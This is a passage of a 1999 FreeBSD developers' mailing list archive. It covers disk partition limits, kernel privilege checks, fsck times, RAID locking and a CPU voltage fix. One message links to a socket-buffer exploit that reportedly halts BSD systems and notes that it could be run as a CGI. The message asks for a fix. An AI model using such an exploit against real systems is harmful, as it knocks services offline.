(mercury.inktomi.com [209.1.32.126]) by hub.freebsd.org (Postfix) with ESMTP id 9E21D1529F for ; Tue, 24 Aug 1999 15:47:42 -0700 (PDT) (envelope-from jplevyak@inktomi.com) Received: from proxydev.inktomi.com (proxydev.inktomi.com [209.1.32.44]) by mercury.inktomi.com (8.9.1a/8.9.1) with ESMTP id PAA07011; Tue, 24 Aug 1999 15:44:49 -0700 (PDT) Received: (from jplevyak@localhost) by proxydev.inktomi.com (8.8.5/8.7.3) id PAA26742; Tue, 24 Aug 1999 15:44:48 -0700 (PDT) Date: Tue, 24 Aug 1999 15:44:32 -0700 From: John Plevyak To: Matthew Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: K6/3 on 3.2-STABLE - PROBLEM SOLVED Message-ID: <19990824154432.A21013@proxydev.inktomi.com> Mail-Followup-To: Matthew Dillon , freebsd-hackers@FreeBSD.ORG References: <19990824132943.B11107@proxydev.inktomi.com> <199908242133.OAA18621@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.5i In-Reply-To: <199908242133.OAA18621@apollo.backplane.com>; from Matthew Dillon on Tue, Aug 24, 1999 at 02:33:48PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After rechecking all the jumpers it turns out that the supplier had set the core voltage to 2.2V instead of 2.4V! Thanx for all the help! john On Tue, Aug 24, 1999 at 02:33:48PM -0700, Matthew Dillon wrote: > :I am experiencing reproducible crashes with FreeBSD (3.2-STABLE) on > :a K6/3-450 running on an ASUS P5S-VM motherboard. The problem is highly > :repeatable (happens about 1/4 of the way through compiling the kernel) > :and goes away if a K6/2-450 is substituted for the K6/3-450 with > :all other things held equal. > > Are you overclocking your K6/3-450? Even if not, try running it at > a slower clock rate. > > If reducing the clock fixes the problem, you might have a bad cpu or > you might have a grey-market cpu that was re-marked up for a higher clock > speed then it can actually handle. > > -Matt > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- John Bradley Plevyak, PhD, jplevyak@inktomi.com, PGP KeyID: 051130BD Inktomi Corporation, 1900 S. Norfolk Street, Suite 310, San Mateo, CA 94403 W:(650)653-2830 F:(650)653-2889 P:(888)491-1332/5103192436.4911332@pagenet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:48:14 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gizmo.internode.com.au (gizmo.internode.com.au [192.83.231.115]) by hub.freebsd.org (Postfix) with ESMTP id F04F81525D for ; Tue, 24 Aug 1999 15:48:05 -0700 (PDT) (envelope-from newton@gizmo.internode.com.au) Received: (from newton@localhost) by gizmo.internode.com.au (8.9.3/8.9.3) id IAA12694; Wed, 25 Aug 1999 08:16:23 +0930 (CST) (envelope-from newton) From: Mark Newton Message-Id: <199908242246.IAA12694@gizmo.internode.com.au> Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 To: dillon@apollo.backplane.com (Matthew Dillon) Date: Wed, 25 Aug 1999 08:16:23 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199908242237.PAA18980@apollo.backplane.com> from "Matthew Dillon" at Aug 24, 99 03:37:52 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > The question I am putting to the group is whether it is "time" for us, > with today's large disks, to increase the system-compiled default > from 8 to 16 partitions. Instead of a-h we would have a-p It makes sense; We wouldn't be the first to do it either (IRIX has supported 16 partitions per spindle for years). Have you made the change on your hackbox already to make sure it doesn't have any negative implications? - mark ---- Mark Newton Email: newton@internode.com.au (W) Network Engineer Email: newton@atdot.dotat.org (H) Internode Systems Pty Ltd Desk: +61-8-82232999 "Network Man" - Anagram of "Mark Newton" Mobile: +61-416-202-223 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:48:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from freja.webgiro.com (freja.webgiro.com [212.209.29.10]) by hub.freebsd.org (Postfix) with ESMTP id 528EA1529E for ; Tue, 24 Aug 1999 15:48:17 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by freja.webgiro.com (Postfix, from userid 1001) id CC5CF1912; Wed, 25 Aug 1999 00:48:11 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by freja.webgiro.com (Postfix) with ESMTP id CB86049D7; Wed, 25 Aug 1999 00:48:11 +0200 (CEST) Date: Wed, 25 Aug 1999 00:48:11 +0200 (CEST) From: Andrzej Bialecki To: Matthew Dillon Cc: FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-Reply-To: <199908242237.PAA18980@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Matthew Dillon wrote: > I don't know about all of you, but for the last few years I've been > running out of partitions! It's even worse with today's big disks. I know it's not the answer, it's just related question: do you know perhaps of any initiatives (except XFS) that could significantly shorten time it takes fsck to check big filesystems, let's say 64GB? As it is now, it's almost unbearable. I naively thought softupdates would (almost) eliminate the need to do fsck... Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:54:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ryan.org (kenny.inetu.net [206.245.142.2]) by hub.freebsd.org (Postfix) with ESMTP id 7E37D1525D for ; Tue, 24 Aug 1999 15:54:43 -0700 (PDT) (envelope-from ryan@ryan.org) Received: from localhost (ryan@localhost) by ryan.org (8.8.7/8.8.7) with SMTP id RAA07037 for ; Tue, 24 Aug 1999 17:46:40 -0400 (EDT) (envelope-from ryan@ryan.org) Date: Tue, 24 Aug 1999 17:46:40 -0400 (EDT) From: Ryan To: hackers@freebsd.org Subject: Are certain parts of kernel not using suser() when they should? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Grepping through the kernel source tree, one finds these 12 files that use "uid == 0" checks instead of the usual suser(). There may be more than one instance per function/macro: ./kern/kern_ktrace.c - ktrops(), ktrcanset() ./nfs/nfs_subs.c - nfsrv_fhtoup() ./posix4/p1003_1b.c - CAN_AFFECT macro ./kern/kern_sig.c - CANSIGNAL, CANSIGIO macros ./kern/sysv_ipc.c - ipcperm() ./miscfs/devfs/devfs_vnops.c - devfs_setattr() ./isofs/cd9660/cd9660_vnops.c - cd9660_access() ./miscfs/kernfs/kernfs_vnops.c - kernfs_access() ./miscfs/procfs/procfs_vnops.c - procfs_access() ./msdosfs/msdosfs_vnops.c - msdosfs_access() ./nfs/nfs_vnops.c - nfsspec_access(), nfs_access() ./ufs/ufs/ufs_vnops.c - ufs_access() Is there a reason for these checks not to use suser? -Ryan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:55: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gizmo.internode.com.au (gizmo.internode.com.au [192.83.231.115]) by hub.freebsd.org (Postfix) with ESMTP id 460EA1529E for ; Tue, 24 Aug 1999 15:54:57 -0700 (PDT) (envelope-from newton@gizmo.internode.com.au) Received: (from newton@localhost) by gizmo.internode.com.au (8.9.3/8.9.3) id IAA12795; Wed, 25 Aug 1999 08:24:13 +0930 (CST) (envelope-from newton) From: Mark Newton Message-Id: <199908242254.IAA12795@gizmo.internode.com.au> Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 To: abial@webgiro.com (Andrzej Bialecki) Date: Wed, 25 Aug 1999 08:24:13 +0930 (CST) Cc: dillon@apollo.backplane.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Andrzej Bialecki" at Aug 25, 99 00:48:11 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andrzej Bialecki wrote: > On Tue, 24 Aug 1999, Matthew Dillon wrote: > > > I don't know about all of you, but for the last few years I've been > > running out of partitions! It's even worse with today's big disks. > > I know it's not the answer, it's just related question: do you know > perhaps of any initiatives (except XFS) that could significantly shorten > time it takes fsck to check big filesystems, let's say 64GB? As it is now, > it's almost unbearable. I naively thought softupdates would (almost) > eliminate the need to do fsck... The UFS checkpointing stuff Kirk is working on is supposed to be the magic bullet that fixes this. XFS will be kinda neat too. - mark ---- Mark Newton Email: newton@internode.com.au (W) Network Engineer Email: newton@atdot.dotat.org (H) Internode Systems Pty Ltd Desk: +61-8-82232999 "Network Man" - Anagram of "Mark Newton" Mobile: +61-416-202-223 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:55:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id 037B415133 for ; Tue, 24 Aug 1999 15:55:56 -0700 (PDT) (envelope-from dg@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id PAA16075; Tue, 24 Aug 1999 15:54:56 -0700 (PDT) Message-Id: <199908242254.PAA16075@implode.root.com> To: Matthew Dillon Cc: FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-reply-to: Your message of "Tue, 24 Aug 1999 15:37:52 PDT." <199908242237.PAA18980@apollo.backplane.com> From: David Greenman Reply-To: dg@root.com Date: Tue, 24 Aug 1999 15:54:56 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > The structure appears to be backwards compatible. > > The question I am putting to the group is whether it is "time" for us, > with today's large disks, to increase the system-compiled default > from 8 to 16 partitions. Instead of a-h we would have a-p It seems reasonable to me, although there may be issues with finding a bit in the minor number - I think they've pretty much all been taken. -DG David Greenman Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org Creator of high-performance Internet servers - http://www.terasolutions.com Pave the road of life with opportunities. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 15:57:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 9C37314EDA for ; Tue, 24 Aug 1999 15:57:25 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA19171; Tue, 24 Aug 1999 15:56:17 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 15:56:17 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242256.PAA19171@apollo.backplane.com> To: Mark Newton Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: <199908242246.IAA12694@gizmo.internode.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :It makes sense; We wouldn't be the first to do it either (IRIX has :supported 16 partitions per spindle for years). : :Have you made the change on your hackbox already to make sure it doesn't :have any negative implications? : : - mark : :---- :Mark Newton Email: newton@internode.com.au (W) If people seem generally for it I am willing to run a bunch of tests on my test boxes to ensure viability and backwards compatibility. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16: 0:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 84AD015317 for ; Tue, 24 Aug 1999 16:00:34 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA19193; Tue, 24 Aug 1999 15:59:59 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 15:59:59 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242259.PAA19193@apollo.backplane.com> To: Andrzej Bialecki Cc: FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I know it's not the answer, it's just related question: do you know :perhaps of any initiatives (except XFS) that could significantly shorten :time it takes fsck to check big filesystems, let's say 64GB? As it is now, :it's almost unbearable. I naively thought softupdates would (almost) :eliminate the need to do fsck... : :Andrzej Bialecki Eventually Kirk is planning for softupdates to allow you to run a special version of fsck in the background to clean up the block bitmap on a live filesystem. The time frame for this project is not known. Another possibility would be to mark individual cylinders clean/dirty to reduce the amount of work fsck must do on a normal filesystem. It would be a pretty hefty project for someone to take on, though. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16: 2: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 891EC158B9; Tue, 24 Aug 1999 16:00:47 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id IAA27553; Wed, 25 Aug 1999 08:30:38 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id IAA95473; Wed, 25 Aug 1999 08:30:36 +0930 (CST) Date: Wed, 25 Aug 1999 08:30:36 +0930 From: Greg Lehey To: Andrew Reilly Cc: Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Locking in Vinum (was: Mandatory locking?) Message-ID: <19990825083036.Q83273@freebie.lemis.com> References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> <19990823174345.J83273@freebie.lemis.com> <19990824105934.A82973@gurney.reilly.home> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990824105934.A82973@gurney.reilly.home>; from Andrew Reilly on Tue, Aug 24, 1999 at 10:59:34AM +1000 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 24 August 1999 at 10:59:34 +1000, Andrew Reilly wrote: > Hi Greg, hackers list, > > I don't want to express an opinion about the need or otherwise > for mandatory locking, but I would appreciate a teensy > clarification of the problem domain: > > On Mon, Aug 23, 1999 at 05:43:45PM +0930, Greg Lehey wrote: >> To write a block to a RAID-5 device, you need to: >> >> 1. Read the old data into a temporary buffer. >> 2. Read the old parity data corresponding to the data into a >> temporary buffer. >> 3. XOR the two, storing the result in one of the temporary buffers. >> 4. XOR the result with the data which is to be written. >> 5. Write the data block. >> 6. Write the parity block. > > Are you suggesting that random user processes have to do all of > this every time that they access a vinum drive? Yes. > I thought that access was mediated by a driver or server process. Sure, that's how they do it. It's a driver, not a server, and the top half runs in process context. > Isn't this process in a position to ensure the integrity of the > transaction without any help from locking mechanisms? No. But what we're talking about here has nothing to do with Vinum's locking, which is internal. > If some major maintenance utility needs to run on the raw device, > during which time the state is inconsistent as far as user processes > are concerned, isn't it sufficient to remove their read priveliges? What if the volumes are open? What if you don't want to upset the processes, just keep them away a little while you do your thing? While testing Vinum, I found a number of race conditions. Most lasted about 50 ms. I have to lock to prevent corruption, but nobody would notice the delay. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16: 6:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id ADDBE15946 for ; Tue, 24 Aug 1999 16:05:51 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id QAA19246; Tue, 24 Aug 1999 16:03:27 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 16:03:27 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242303.QAA19246@apollo.backplane.com> To: David Greenman Cc: FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: <199908242254.PAA16075@implode.root.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> The question I am putting to the group is whether it is "time" for us, :> with today's large disks, to increase the system-compiled default :> from 8 to 16 partitions. Instead of a-h we would have a-p : : It seems reasonable to me, although there may be issues with finding a bit :in the minor number - I think they've pretty much all been taken. : :-DG : :David Greenman Cripes! Now that is really annoying. da0a is 4,0 and da1a is 4,8. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16:14:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from thetis.deor.org (thetis.quickie.net [206.245.163.5]) by hub.freebsd.org (Postfix) with ESMTP id 277C21529E for ; Tue, 24 Aug 1999 16:14:26 -0700 (PDT) (envelope-from rabbi@quickie.net) Received: from localhost (rabbi@localhost) by thetis.deor.org (8.9.3/8.9.3) with ESMTP id TAA01982; Tue, 24 Aug 1999 19:13:52 -0400 Date: Tue, 24 Aug 1999 19:13:46 -0400 (EDT) From: "L. Sassaman" To: FreeBSD Hackers List Cc: Marc Olzheim , Greg Lynn Subject: testsockbuf.c Message-ID: X-AIM: Elom777 X-icq: 10735603 X-No-Archive: yes X-PGP: X-PGP-ID-Fprnt: 0x09AC0A6A 7A1A 407F B1CA 7E4E AE85 E730 3D8A F1B2 09AC 0A6A X-PGP-S: X-PGP-ID-Fprnt-S: 0x3AF92BD0 566B 5CA8 A733 34AA A482 586F 38D9 DBA8 3AF9 2BD0 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Has anyone worked out a fix for the socketbuffers problem reported by Marc Olzheim? His exploit is here: http://www.stack.nl/~marcolz/testsockbuf.c It was briefly discussed on the freebsd-security and freebsd-stable lists, but no one seemed to have a viable solution. Changing the /etc/login.conf values for the 'maxproc' and 'descriptors' resource limits doesn't change the fact that this program can be uploaded and run as a cgi. It halts FreeBSD 2.2.6, 2.2.8, 3.2.x, as well as variations of OpenBSD and NetBSD. It's only a matter of time before this hits BugTraq and lands in the hands of the skriptz kiddies; does someone with the ability to work out a solution to this problem want to be proactive? L. Sassaman System Administrator | "Even the most primitive society has Technology Consultant | an innate respect for the insane." icq.. 10735603 | pgp.. finger://ns.quickie.net/rabbi | --Mickey Rourke -----BEGIN PGP SIGNATURE----- Version: GnuPG v0.9.10 (GNU/Linux) Comment: OpenPGP Encrypted Email Preferred. iD8DBQE3wycvPYrxsgmsCmoRAmGdAJ0ZkjuNZwXa96GItlnsfZuguQdfWgCgoQk7 hMAVwWA0GGKHaMOJ/HlfiuY= =+oVg -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16:23:10 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id C2BCB1508B for ; Tue, 24 Aug 1999 16:23:08 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id QAA19396; Tue, 24 Aug 1999 16:22:44 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 16:22:44 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242322.QAA19396@apollo.backplane.com> To: David Greenman , FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: <199908242254.PAA16075@implode.root.com> <199908242303.QAA19246@apollo.backplane.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: It seems reasonable to me, although there may be issues with finding a bit ::in the minor number - I think they've pretty much all been taken. :: ::-DG :: ::David Greenman : : Cripes! Now that is really annoying. da0a is 4,0 and da1a is 4,8. : : -Matt minor device number: t = type u = unit (upper bits split off from lower) s = slice (assuming only 8 slices) 0 noslice 1 whole disk 2-5 s1,s2,s3,s4 6-8 unused p = partition - = cannot be used tttttttu uuusssss -------- uuuuuppp minor layout for disks 11111111 11111111 -------- 11111111 mask for uminor Our only hope as far as I can tell is to take the upper two bits of the slice (bits 19 and 20) and use them for the partition instead. As far as I can tell, only slices 0-5 are used, requiring only 3 bits. Can someone check my work? Are bits 19 and 20 unused by any disk devices? -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16:24:34 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 669A81513A; Tue, 24 Aug 1999 16:24:15 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id LAA95098; Tue, 24 Aug 1999 11:33:33 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Tue, 24 Aug 1999 11:33:33 -0400 (EDT) From: Chuck Robey To: Christopher Masto Cc: Wes Peters , Greg Lehey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? In-Reply-To: <19990824111703.B10650@netmonger.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Christopher Masto wrote: > Ok, so that means the program doesn't have to be so poorly written. > It can read part of the file, then go to write it just after User 1 > locks that part of the file, so its write will block until User 1 is > finished, but will still stomp over User 1's data. No need to close > and reopen the file. > > Yes, it's WRONG code. Correct code would aquire a lock before > reading. My understanding of "mandatory locking" means that a program that completely ignores any locking at all, if it tries to grab the locked resource, will sleep until the resource is unlocked. This means that the program is mandatorily forced to obey other program's lock requests. It does not force that program to do it's own locks, but it forces it to respect others. Is that the kind of mandatory locking we're talking about? The rogue program, which doesn't do locking, can have it''s data corrupted, but it cannot corrupt the data for a correctly written program's transaction. So how does mandatory locking help? In this situation, I > don't think it does. And this situation is analogous to "I want to > modify this file without taking it offline, but I need to guarantee > that no other processes are using it." How do you know someone > hasn't, say, opened it in an editor, made some changes, and is about > to save? Especially when that modification occurs spontaneously, > perhaps as part of some recovery process unknown to the user editing > the file. > > I'm sure there are situations where mandatory locking accomplishes > something useful. Are they worth it? (I don't claim to know; if > the problems I thought I pointed out don't really exist, good.) > > More seriously than just being a "useless" feature, I am concerned > about the possibility of opening up security holes with mandatory > locking. BSD Unix does not currently have it.. if I understand > correctly, the kind of locking we're talking about means that if I can > get another user to read a file I own, I can make them block > indefinately. Maybe I can't do anything bad with that.. maybe I can > "only" cause a denial of service.. or maybe I can make a new race > condition in a periodic script. > > By the way, I like the idea of mandatory locking, and I "grew up" on > an OS that had it. > -- > Christopher Masto Senior Network Monkey NetMonger Communications > chris@netmonger.net info@netmonger.net http://www.netmonger.net > > Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ > ---------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | picnic.mat.net: FreeBSD/i386 (301) 220-2114 | jaunt.mat.net : FreeBSD/Alpha ---------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16:29:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 551DF15B26 for ; Tue, 24 Aug 1999 16:29:51 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id QAA19447; Tue, 24 Aug 1999 16:29:31 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 16:29:31 -0700 (PDT) From: Matthew Dillon Message-Id: <199908242329.QAA19447@apollo.backplane.com> To: Matthew Dillon Cc: David Greenman , FreeBSD Hackers List Subject: more... Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: <199908242254.PAA16075@implode.root.com> <199908242303.QAA19246@apollo.backplane.com> <199908242322.QAA19396@apollo.backplane.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : minor device number: : : t = type : : u = unit (upper bits split off from lower) : : s = slice (assuming only 8 slices) : 0 noslice : 1 whole disk : 2-5 s1,s2,s3,s4 : 6-8 unused : : p = partition : : - = cannot be used : : : tttttttu uuusssss -------- uuuuuppp minor layout for disks : 11111111 11111111 -------- 11111111 mask for uminor : : Our only hope as far as I can tell is to take the upper two bits of the : slice (bits 19 and 20) and use them for the partition instead. : : As far as I can tell, only slices 0-5 are used, requiring only 3 bits. : : Can someone check my work? Are bits 19 and 20 unused by any disk : devices? : : -Matt Grrr. #ifdef PC98, NDOSPART is set to 16 instead of 4, requiring 5 bits (0,1,2-17). This leaves one bit that we can usurp. I'd rather have 2 bits, but I'll take 1 if I can get it. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16:43:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id BB4D3151AA for ; Tue, 24 Aug 1999 16:43:27 -0700 (PDT) (envelope-from julian@whistle.com) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id QAA71328; Tue, 24 Aug 1999 16:43:14 -0700 (PDT) Date: Tue, 24 Aug 1999 16:43:23 -0700 (PDT) From: Julian Elischer To: David Greenman Cc: Matthew Dillon , FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-Reply-To: <199908242254.PAA16075@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, David Greenman wrote: > > The structure appears to be backwards compatible. > > > > The question I am putting to the group is whether it is "time" for us, > > with today's large disks, to increase the system-compiled default > > from 8 to 16 partitions. Instead of a-h we would have a-p > > It seems reasonable to me, although there may be issues with finding a bit > in the minor number - I think they've pretty much all been taken. Mmmmmph Mmmmmph! Mmmmph! (damned gags) > > -DG > > David Greenman > Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org > Creator of high-performance Internet servers - http://www.terasolutions.com > Pave the road of life with opportunities. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 16:47:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id CAFEA152BC for ; Tue, 24 Aug 1999 16:47:41 -0700 (PDT) (envelope-from julian@whistle.com) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id QAA71426; Tue, 24 Aug 1999 16:45:15 -0700 (PDT) Date: Tue, 24 Aug 1999 16:45:24 -0700 (PDT) From: Julian Elischer To: Matthew Dillon Cc: David Greenman , FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-Reply-To: 